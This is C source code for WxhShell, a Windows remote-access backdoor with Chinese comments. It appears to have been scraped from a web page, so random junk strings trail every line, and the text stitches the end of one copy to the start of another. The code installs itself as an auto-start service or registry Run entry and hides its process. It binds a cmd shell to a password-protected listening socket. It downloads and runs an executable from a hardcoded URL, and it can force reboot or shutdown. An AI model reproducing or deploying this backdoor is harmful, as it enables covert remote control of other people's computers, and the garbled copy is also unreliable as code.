    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *< ?~  
    if(Boot(SHUTDOWN)) Hph$Z 1{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > %B7/l$  
    else { +F@ZVMp  
    closesocket(wsh); p/WE[8U  
    ExitThread(0); Y0Bd[  
    } oH>G3n|U^  
    break; l/6$BP U`  
    } W6Z3UJ-  
  // 获取shell FNy-&{P2  
  case 's': { /4wPMAlb  
    CmdShell(wsh); $s,Az_bs  
    closesocket(wsh); 5kdh!qy[$,  
    ExitThread(0); &(/QJ`*8  
    break; 25wvB@0&  
  } gH<A.5 xy  
  // 退出 x4^* YZc$,  
  case 'x': { 'eDV-cB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \yKYBfp-p  
    CloseIt(wsh); Cj1nll8c  
    break; DNmP>~  
    } 3`U^sr:[%  
  // 离开 Y'eE({)<K  
  case 'q': { g), t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gl>%ADOB@  
    closesocket(wsh); -kkp Ew\  
    WSACleanup(); gt|:K)[,6  
    exit(1); d6vls7J/4  
    break; 9~ r YLR(v  
        } W~Ae&gcn#  
  } dSPye z  
  } +5xk6RP   
r$<4_*  
  // 提示信息 ("txj[v-/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KbM1b  
} 56 [+;*  
  } i=AQ1X\s  
JGG(mrvR  
  return; 6!$2nK+  
} .g8db d  
z( ^ r  
// shell模块句柄 @l %x;`E  
int CmdShell(SOCKET sock) 'Fr"96C$  
{ s~n@|m9k  
STARTUPINFO si; hyVBQhk  
ZeroMemory(&si,sizeof(si)); 0$:jZ/._  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >&D}^TMYY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @D+2dT0[M  
PROCESS_INFORMATION ProcessInfo; u)9YRMl  
char cmdline[]="cmd"; TS49{^d$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C|-QU  
  return 0; BVe c  
} Cu`ty] -'  
H}PZJf_E  
// 自身启动模式 G' 0JK+=o  
int StartFromService(void) j:P(,M[  
{ [Nv)37|W  
typedef struct 2 i97  
{ s_4y^w]aX  
  DWORD ExitStatus; #iVr @|,  
  DWORD PebBaseAddress; $q 9dkt  
  DWORD AffinityMask; UJ7{FN=@t  
  DWORD BasePriority; v&r\Z @%  
  ULONG UniqueProcessId; f <pJ_  
  ULONG InheritedFromUniqueProcessId; Jm[_X  
}   PROCESS_BASIC_INFORMATION; u5rHQA0%  
1g>>{ y  
PROCNTQSIP NtQueryInformationProcess; 6S&OE k  
, ePl>m:Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xV>sc;PEb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nl+8C}=u  
5j>olz=n}  
  HANDLE             hProcess; e_3($pj  
  PROCESS_BASIC_INFORMATION pbi; 0T.kwZ8  
8[L]w^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,&iZ*6=X?0  
  if(NULL == hInst ) return 0;  s4vj  
Kdr} 7#c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bu,xIT^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pz ~REsx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^F g!.X_  
ZYs?65.  
  if (!NtQueryInformationProcess) return 0; X3R:^ff\  
0s .X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I/)*pzt8  
  if(!hProcess) return 0; FJ{6_=@D  
nUScDb2|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -7(,*1Tk  
+@qIDUiF3  
  CloseHandle(hProcess); ()(^B}VK  
;YY nIb(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )*nZ6Cg'  
if(hProcess==NULL) return 0; EqF>=5*  
ui<Mnm_T;d  
HMODULE hMod; dfWtLY  
char procName[255]; #Q$e%VJ(c1  
unsigned long cbNeeded; 46gDoSS  
3v>w$6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z C 7b  
!112u#V  
  CloseHandle(hProcess); <6.?:Jj  
IubzHf  
if(strstr(procName,"services")) return 1; // 以服务启动 dZuPR  
oQK,#>rv  
  return 0; // 注册表启动 ]e(\<R6Gf  
} "GX k;Y  
UL]zuW/  
// 主模块 hq?F8 1  
int StartWxhshell(LPSTR lpCmdLine) [BKOK7QK|  
{ 2?kVbF  
  SOCKET wsl; +zZ]Txb(  
BOOL val=TRUE; h(p c GE  
  int port=0; z-^/<u1p  
  struct sockaddr_in door; J+l#!gk$!  
`. 3{  
  if(wscfg.ws_autoins) Install(); ufo\p=pGG  
 GjyTM  
port=atoi(lpCmdLine); m'WGK`WIm  
`$XgfMBf |  
if(port<=0) port=wscfg.ws_port; ^+x,211f  
Q} |0  
  WSADATA data; B/dJj#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wU-Cb<^  
MUUhg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oF_ '<\ly=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2/ejU,S  
  door.sin_family = AF_INET; H/l,;/q]b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .t.4y. 97  
  door.sin_port = htons(port); dQ Lo,S8(  
Ls'8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { # blh9.V&F  
closesocket(wsl); q+ka}@  
return 1; .F3~eas  
} *iV#_  
x LGMN)@r  
  if(listen(wsl,2) == INVALID_SOCKET) { 4iY <7l8  
closesocket(wsl); jvhD_L/  
return 1; b6g/SIae  
} 7%W@Hr,%F  
  Wxhshell(wsl); \6!s";=hQ  
  WSACleanup(); 0%qM`KZC  
J9P\D!  
return 0; 5")BCA  
m5 l&  
} [6)vD@  
]W7&ZpF  
// 以NT服务方式启动 4KY@y?H g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ([]\7}+8  
{ -^t&U] g  
DWORD   status = 0; E//*bmww  
  DWORD   specificError = 0xfffffff; lHO.pN`2  
4MRN{W6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ceAefKdb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ni#y=cb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $YK~7!!  
  serviceStatus.dwWin32ExitCode     = 0; +'a G{/J  
  serviceStatus.dwServiceSpecificExitCode = 0; |sBL(9  
  serviceStatus.dwCheckPoint       = 0; 1pT/`x  
  serviceStatus.dwWaitHint       = 0; 5#::42oE  
vqo ~?9z[e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z|j\_VKhl  
  if (hServiceStatusHandle==0) return; @}{Fw;,(7n  
2>.>q9J(  
status = GetLastError(); qG0gc\C}  
  if (status!=NO_ERROR) ,&jjp eZP  
{ e r"gPW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hroRDD   
    serviceStatus.dwCheckPoint       = 0; 9HAK  
    serviceStatus.dwWaitHint       = 0; uKo4nXVtp  
    serviceStatus.dwWin32ExitCode     = status; d{DBG}/Yg  
    serviceStatus.dwServiceSpecificExitCode = specificError; t}gK)"g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m^4Ojik  
    return; -;$jo-  
  } $B`bsJ  
$'bb)@_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g$mqAz<  
  serviceStatus.dwCheckPoint       = 0; Dm`gzGl  
  serviceStatus.dwWaitHint       = 0; h|ja67VG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hzc^fC  
} HK<oNr.d52  
uQkQ#'e|  
// 处理NT服务事件,比如:启动、停止 >Yfo $S_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;o.,vQF*  
{ osTin*T.  
switch(fdwControl) #DcK{|ty  
{ g")pvK[e  
case SERVICE_CONTROL_STOP: /(bn+l}W  
  serviceStatus.dwWin32ExitCode = 0; ^7C,GaDsn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IE&G7\>(yO  
  serviceStatus.dwCheckPoint   = 0; ;T WYO  
  serviceStatus.dwWaitHint     = 0; AI2>{V  
  { #K/#-S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rE\.[mFI  
  } (rSBzM]H  
  return; PSa"u5O  
case SERVICE_CONTROL_PAUSE: >{juw&Uu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .,SWa;[iB  
  break; .vXe}%  
case SERVICE_CONTROL_CONTINUE: G)\6W#de4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )F:UkS  
  break; |*zvaI(}  
case SERVICE_CONTROL_INTERROGATE: 9wv 7 HD|  
  break; YCNpJGM  
}; r;8$ 7C.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <(caY37o6)  
} Q |^c5  
F6)/Iiv  
// 标准应用程序主函数 GK:pt8=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P3V }cGZ  
{ _xU2C<)1&  
sTO9>~sj  
// 获取操作系统版本 *5;#+%A  
OsIsNt=GetOsVer(); )UG<KcdI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Le}-F{~`^  
<4P"1#nHQ+  
  // 从命令行安装 6o ]X.plr  
  if(strpbrk(lpCmdLine,"iI")) Install(); /<oBgFMoJ  
RDQK_Ef:  
  // 下载执行文件 )wz3 m L  
if(wscfg.ws_downexe) { n7K\\|X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QsH Fk5)  
  WinExec(wscfg.ws_filenam,SW_HIDE); i fbO<  
} QOY M/1U  
&sJ%ur+G  
if(!OsIsNt) { 7 {#^ zr  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]Q0+1'yuK  
HideProc(); p=8?hI/bim  
StartWxhshell(lpCmdLine); *>p#/'_E  
} {F+iL&e)  
else .\+%Q)?h:  
  if(StartFromService()) zAdZXa[MRY  
  // 以服务方式启动 ?AJE*=b  
  StartServiceCtrlDispatcher(DispatchTable); "+:IA|1wD  
else t.WWahNyY  
  // 普通方式启动 >0qe*4n|M  
  StartWxhshell(lpCmdLine); Qape DU;  
SV96eYT<  
return 0; RP4P"m(   
} A&6qt  
[boB4>.  
iZ-"l3) D  
"kT?9&  
=========================================== AjA.="3  
=HkB>w)h  
OAXF=V F#  
!c8hER!  
L@HWm;aN  
)w++cC4/5  
" G;3N"az  
1#<KZN =$  
#include <stdio.h> oaJnLd90W  
#include <string.h> Zl+Ba   
#include <windows.h> s5'So@L8  
#include <winsock2.h> |SF5'\d'  
#include <winsvc.h> WMLsKoby  
#include <urlmon.h> Ki:.^  
B> LL *  
#pragma comment (lib, "Ws2_32.lib") _Q1[t9P"  
#pragma comment (lib, "urlmon.lib") o7W1sD1O  
 <c &6M  
#define MAX_USER   100 // 最大客户端连接数 V;#bcr=Z<J  
#define BUF_SOCK   200 // sock buffer 9c_h+XN?y  
#define KEY_BUFF   255 // 输入 buffer `vPc&.-K  
VU[4 W8f  
#define REBOOT     0   // 重启 <>FpvdB  
#define SHUTDOWN   1   // 关机 =whYo?cE(  
L'?0*t  
#define DEF_PORT   5000 // 监听端口 NJ{M-K%>  
hqKftk)+  
#define REG_LEN     16   // 注册表键长度 }}'0r2S  
#define SVC_LEN     80   // NT服务名长度 ~Z#jIG<?g  
?yq1\G)]  
// 从dll定义API fudIUG.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *To 5\|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hh<Es|v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G*;6cV19  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h^}r$k_n  
ZRd,V~iz  
// wxhshell配置信息 ,y5 7tY  
struct WSCFG { =7U_ jDME  
  int ws_port;         // 监听端口 c)tG1|Og]  
  char ws_passstr[REG_LEN]; // 口令 +$F_7Hx  
  int ws_autoins;       // 安装标记, 1=yes 0=no hvS4"% \  
  char ws_regname[REG_LEN]; // 注册表键名 *uq}jlD`!  
  char ws_svcname[REG_LEN]; // 服务名 d;$<K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mw*BaDN@Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2-<i#nA3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 85 5JAf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7:D@6<J?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eBmBD"$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2/c^3[ccR  
I,@f*o  
}; $C;)Tlh  
M;{btu^a  
// default Wxhshell configuration }sm PP*  
struct WSCFG wscfg={DEF_PORT, 7jZ=+2  
    "xuhuanlingzhe", ; =FSpZ@  
    1, f;nO$h[Qb  
    "Wxhshell", [JY1|N  
    "Wxhshell", 6jKZ.S+s)  
            "WxhShell Service",  Nx8~Rn  
    "Wrsky Windows CmdShell Service", b5MCOW1+  
    "Please Input Your Password: ", \NEXtr`Th  
  1, uq>\pO&P  
  "http://www.wrsky.com/wxhshell.exe", ue5C ]  
  "Wxhshell.exe" )r)3.|wJm  
    }; P)2.Gx/  
5VU 5kiCt  
// 消息定义模块 a&Stdh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .FarKW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P@m_tA%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NT^m.o~4  
char *msg_ws_ext="\n\rExit."; d%y)/5  
char *msg_ws_end="\n\rQuit."; ^11y8[[  
char *msg_ws_boot="\n\rReboot..."; %V+hm5Q  
char *msg_ws_poff="\n\rShutdown..."; P,|%7'?Y  
char *msg_ws_down="\n\rSave to "; e-Xr^@M*Q  
I,*zZNv Ri  
char *msg_ws_err="\n\rErr!"; H}R/_5g  
char *msg_ws_ok="\n\rOK!"; !&$uq|-  
ZB)`*z>*  
char ExeFile[MAX_PATH]; w&vZ$n-|  
int nUser = 0; A{HP*x~t  
HANDLE handles[MAX_USER]; h&t/ L  
int OsIsNt; X#bK.WN$  
g69^D  
SERVICE_STATUS       serviceStatus; m0I)_R#X[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4@b~)av)  
'S_OOzpC  
// 函数声明 fd{75J5%  
int Install(void); W:s>?(6?  
int Uninstall(void);  T\(w}  
int DownloadFile(char *sURL, SOCKET wsh); M@k8;_5  
int Boot(int flag); \F$Vm'f_  
void HideProc(void); e ej:  
int GetOsVer(void); ; i)NP X  
int Wxhshell(SOCKET wsl); _ (U|Kpi  
void TalkWithClient(void *cs); r%craf  
int CmdShell(SOCKET sock); @O!BQ^'hk#  
int StartFromService(void); Y<4%4>a  
int StartWxhshell(LPSTR lpCmdLine); <|!?V"`3  
JE a~avyJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q X"Pg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9BZyCz  
6.!aJJLN  
// 数据结构和表定义 -`I&hzl6E  
SERVICE_TABLE_ENTRY DispatchTable[] = :i?7RouO  
{ 6T?$m7c  
{wscfg.ws_svcname, NTServiceMain}, `X["Bgk$!T  
{NULL, NULL} CFLWo1  
}; 0eGz|J*7  
%nRz~3X|+v  
// 自我安装 'ie+/O@G  
int Install(void) Y<]A 5cm  
{ aUGRFK_6$  
  char svExeFile[MAX_PATH]; hT=6XO od4  
  HKEY key; Smt&/~7D%  
  strcpy(svExeFile,ExeFile); 4x2 ;@Pd  
kH.W17D~  
// 如果是win9x系统,修改注册表设为自启动 KW&vX%i(.  
if(!OsIsNt) { m0}1P]dc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j>}<FW-N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 69/br @j%`  
  RegCloseKey(key); QY^v*+lr\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pV^(8!+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6EX_IDb  
  RegCloseKey(key); <o aVI?  
  return 0; ^$D2fS  
    } pX/42W  
  } JZUf-0q  
} URo#0fV4C  
else { fF|m~#y  
;X z fd  
// 如果是NT以上系统,安装为系统服务 dsUt[z1w5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (6Y.|u]bq  
if (schSCManager!=0) =o+js;3  
{ U WU PY  
  SC_HANDLE schService = CreateService o6v'`p '  
  ( <5xlP:Cx  
  schSCManager, 0dKv%X#\  
  wscfg.ws_svcname, Lj,!0 25  
  wscfg.ws_svcdisp, $q%l)]+  
  SERVICE_ALL_ACCESS,  ds#om2)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uto E}U7]  
  SERVICE_AUTO_START, <y!(X"n`  
  SERVICE_ERROR_NORMAL, :&'[#%h8  
  svExeFile, 9R1S20O  
  NULL, %n!7'XF'[  
  NULL, "%?$BoJR0  
  NULL, 3c|u2Pl  
  NULL, Z{ AF8r  
  NULL XZew$Om[  
  ); 's>./Pf  
  if (schService!=0) xV+cX*4h  
  { \Q~HL_fy|Y  
  CloseServiceHandle(schService); "Ei' FM  
  CloseServiceHandle(schSCManager); .}4^b\   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "/~KB~bB  
  strcat(svExeFile,wscfg.ws_svcname); TEEt]R-y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O~bJ<O=?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \5q0nB@i5y  
  RegCloseKey(key); 7W7yjG3g  
  return 0; d+iV19#i  
    } KrzIL[;2o  
  } 8IQqDEY^  
  CloseServiceHandle(schSCManager); >713H!uj  
} Tsc2;I  
} l2ww3)Z  
zAA3bgaa  
return 1; &f_ua)cyY  
} &XF@Dvv  
}Lc8tj<  
// 自我卸载 J!"#N}[  
int Uninstall(void) $?M$^- (e  
{ ^3 6oqe{  
  HKEY key; Cz)/Bq  
0WO-+eRB/  
if(!OsIsNt) { [qHtN.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {u@w^ hZ$  
  RegDeleteValue(key,wscfg.ws_regname); ;]I~AGH:  
  RegCloseKey(key); h5p,BRtu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZD`p$:pT  
  RegDeleteValue(key,wscfg.ws_regname); f`Wces=5  
  RegCloseKey(key); b[;Zl<  
  return 0; b 8~7C4  
  } NxzRVsNF  
} &|#z" E^-  
} J,,+JoD  
else { hY}.2  
<52)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y. 1dk  
if (schSCManager!=0) LPK[^  
{ 2 i:tPe&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I?#B_R#  
  if (schService!=0) VU ,tCTXz  
  { .N~YVul[a*  
  if(DeleteService(schService)!=0) { :!WKD@]  
  CloseServiceHandle(schService); r]yI5 ;  
  CloseServiceHandle(schSCManager); ^h~oxZJw  
  return 0; z>9gt  
  } -$@4e|e%a  
  CloseServiceHandle(schService); Y>a2w zr  
  } q%\rj?U_  
  CloseServiceHandle(schSCManager); Wt $q{g{C  
} \rPT7\ZA  
} /aX#j`PrH  
; +%|!~  
return 1; d_w^u|(K  
} $,DX^I%!  
+E8}5pDt  
// 从指定url下载文件 \r^*4P,,  
int DownloadFile(char *sURL, SOCKET wsh) e,rCutA)  
{ 8^)K|+_'m  
  HRESULT hr; @ 9q/jv`  
char seps[]= "/"; RQt\_x7P  
char *token; h& Q9  
char *file;  EWn\ ]f|  
char myURL[MAX_PATH]; t]PO4GA  
char myFILE[MAX_PATH]; ]xf|xs  
ZW>?y$C+  
strcpy(myURL,sURL);  {xS\CC(g  
  token=strtok(myURL,seps); w 7Y>B`wm?  
  while(token!=NULL) J2P5<  
  { qw mZOR#  
    file=token; 3|g]2|~w@h  
  token=strtok(NULL,seps); xfqW~&  
  } '@ C\,E  
WeqQw?-  
GetCurrentDirectory(MAX_PATH,myFILE); RiNKUk{-  
strcat(myFILE, "\\"); SYZS@o  
strcat(myFILE, file); T.R(  
  send(wsh,myFILE,strlen(myFILE),0); {8a s _  
send(wsh,"...",3,0); d/3 k3HdL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); km+}./@  
  if(hr==S_OK) ~.'NG? %7P  
return 0; oN/T>&d  
else jf'#2-   
return 1; _O*"_^6  
ob3Z I  
} U3zwC5}BN  
$xU5vCwAo  
// 系统电源模块 I%q&4L7pj  
int Boot(int flag) |[]"{Eo"}  
{ l<l6Ey(  
  HANDLE hToken; oztfr<cUH  
  TOKEN_PRIVILEGES tkp; lY_&P.B  
h0)Wy>B=,  
  if(OsIsNt) { )^o7%KX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XCTee  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .sk$@Q  
    tkp.PrivilegeCount = 1; RO1xcCp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uhz<B #tj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e2 ?7>?  
if(flag==REBOOT) { @'yD(ZMAz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N>$Nw<wV  
  return 0; '[h|f  
} /o19/Pvwm  
else { YLfZ;W|6u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UEvRK?mm=  
  return 0; XNU[\I  
} ]zza/O;31(  
  } 2@ <x%T  
  else { [foZO&+!  
if(flag==REBOOT) { }"'^.FG^_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u!X$M?D4  
  return 0; hl[!4#b]K  
} coxMsDs  
else { 4oF8F)ASj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U0+Hk+  
  return 0; Bk~lE]Q3c7  
} 9W{=6D86e  
} ^/3R/;?  
IR+dGqIjZb  
return 1; Qn77ZpL:LJ  
} WJ9=hr  
CE$c/d[N.  
// win9x进程隐藏模块 DFz,>DM;  
void HideProc(void) %s;#epP$  
{ n0T\dc~  
@eRR#S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m q`EM OH  
  if ( hKernel != NULL ) 6BihZ|H04  
  { 8xQ5[Ov  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4dXuy>Km  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J>YwMl  
    FreeLibrary(hKernel); ^1vh5D  
  } h7NS9CgO  
gp:,DC?(  
return; ?*~W  
} %&+j(?9  
x.CNDG  
// 获取操作系统版本 y#:_K(A" k  
int GetOsVer(void) +s:!\(BM  
{ 4|uh&4"*@W  
  OSVERSIONINFO winfo; #7IM#t c@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yVvO!  
  GetVersionEx(&winfo); fQ5V RpWGn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OAMsqeWYA  
  return 1; :=BFx"Y  
  else [V~(7U  
  return 0; -aDGXQM{~  
} _uuxTNN0x*  
L'LZK  
// 客户端句柄模块 X !g"D6'  
int Wxhshell(SOCKET wsl) wR\Y+Z   
{ H3Y FbR  
  SOCKET wsh; "P<IQx  
  struct sockaddr_in client; G[1:<Vg8  
  DWORD myID; D9M<>Xz)  
\WG6\Zg0A  
  while(nUser<MAX_USER) ~6z<tyD^  
{ %|$h<~  
  int nSize=sizeof(client); *p}b_A}D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pe>R2<!$  
  if(wsh==INVALID_SOCKET) return 1; =7@N'xX  
)<bgZ, v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5t`< KRz)I  
if(handles[nUser]==0) FUic7>  
  closesocket(wsh); n`Pwo &  
else i>YD_#w  
  nUser++; `LU[+F8<  
  } #Hl0>"k ,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t{#B td  
5qzFH,  
  return 0; cRPW  
} {.=089`{  
_KBN  
// 关闭 socket 4}@J]_]Z  
void CloseIt(SOCKET wsh) YvD+Lk'hm  
{  n4;  
closesocket(wsh); r>4HF"Nm  
nUser--; TbqH-R3W  
ExitThread(0); XKD0n^L[  
} A)9OkLrc  
 J jRz<T;  
// 客户端请求句柄 6%bZZTP`  
void TalkWithClient(void *cs) @v^;,cu'8  
{ #=mLQSiQ  
NUBf>~_}  
  SOCKET wsh=(SOCKET)cs; %5#ts/f  
  char pwd[SVC_LEN]; \$GM4:R D  
  char cmd[KEY_BUFF]; ZbVo<p5* ]  
char chr[1]; q1!45a  
int i,j; H9}z0VI  
!nh7<VJ  
  while (nUser < MAX_USER) { _L }k.  
VfWU-lJ  
if(wscfg.ws_passstr) { hKVj\88  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KE>|,U r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |>_e& }Y%L  
  //ZeroMemory(pwd,KEY_BUFF); @r7ekyO8)  
      i=0; i\~@2  
  while(i<SVC_LEN) { bMe/jQuL.$  
:;Z?2P5i  
  // 设置超时 +9LIpU&5  
  fd_set FdRead; Kvx~2ZMx6  
  struct timeval TimeOut; Hw"Lo Vh  
  FD_ZERO(&FdRead); t}FwS6u  
  FD_SET(wsh,&FdRead); S7i,oP7  
  TimeOut.tv_sec=8; P/%5J3_,  
  TimeOut.tv_usec=0; %gBulvg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v\&C]W]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N@}5Fnk-  
>3aB{[[N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XT2:XWI8  
  pwd=chr[0]; h 8Shf"  
  if(chr[0]==0xd || chr[0]==0xa) { Z`jc*jgy  
  pwd=0; PB[ Y^q  
  break; 9 5cIdF 6m  
  } 3m;*gOLk6  
  i++; {X r|L  
    } "~V|p3  
<!qN<#$y  
  // 如果是非法用户,关闭 socket prypo.RI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y\7WCaSgi  
} JWB3;,S  
XC*!=h*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^9_4#Ep(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4hl`~&yDf  
+"yt/9AO  
while(1) { n]nb+_-97  
ve3-GWT{C  
  ZeroMemory(cmd,KEY_BUFF); i!yu%>:M  
D MzDV_  
      // 自动支持客户端 telnet标准   $M:Ru@Du2  
  j=0; gdj,e ^  
  while(j<KEY_BUFF) { &$H7vdWNy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wC&+nS1  
  cmd[j]=chr[0]; 0&21'K)pW  
  if(chr[0]==0xa || chr[0]==0xd) { n0 q$/Y.  
  cmd[j]=0; U"T>L  
  break; A_pcv7=@  
  } a_V.mu6h6p  
  j++; |'+ [ '  
    } 1b` `y  
&YpWfY&V  
  // 下载文件 }L|cg2y  
  if(strstr(cmd,"http://")) { EJByYk   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h.t2;O,b  
  if(DownloadFile(cmd,wsh)) -dO9y=?t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,6Ua+\|  
  else o0 &pSCK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QnMN8Q9  
  } KQu lz  
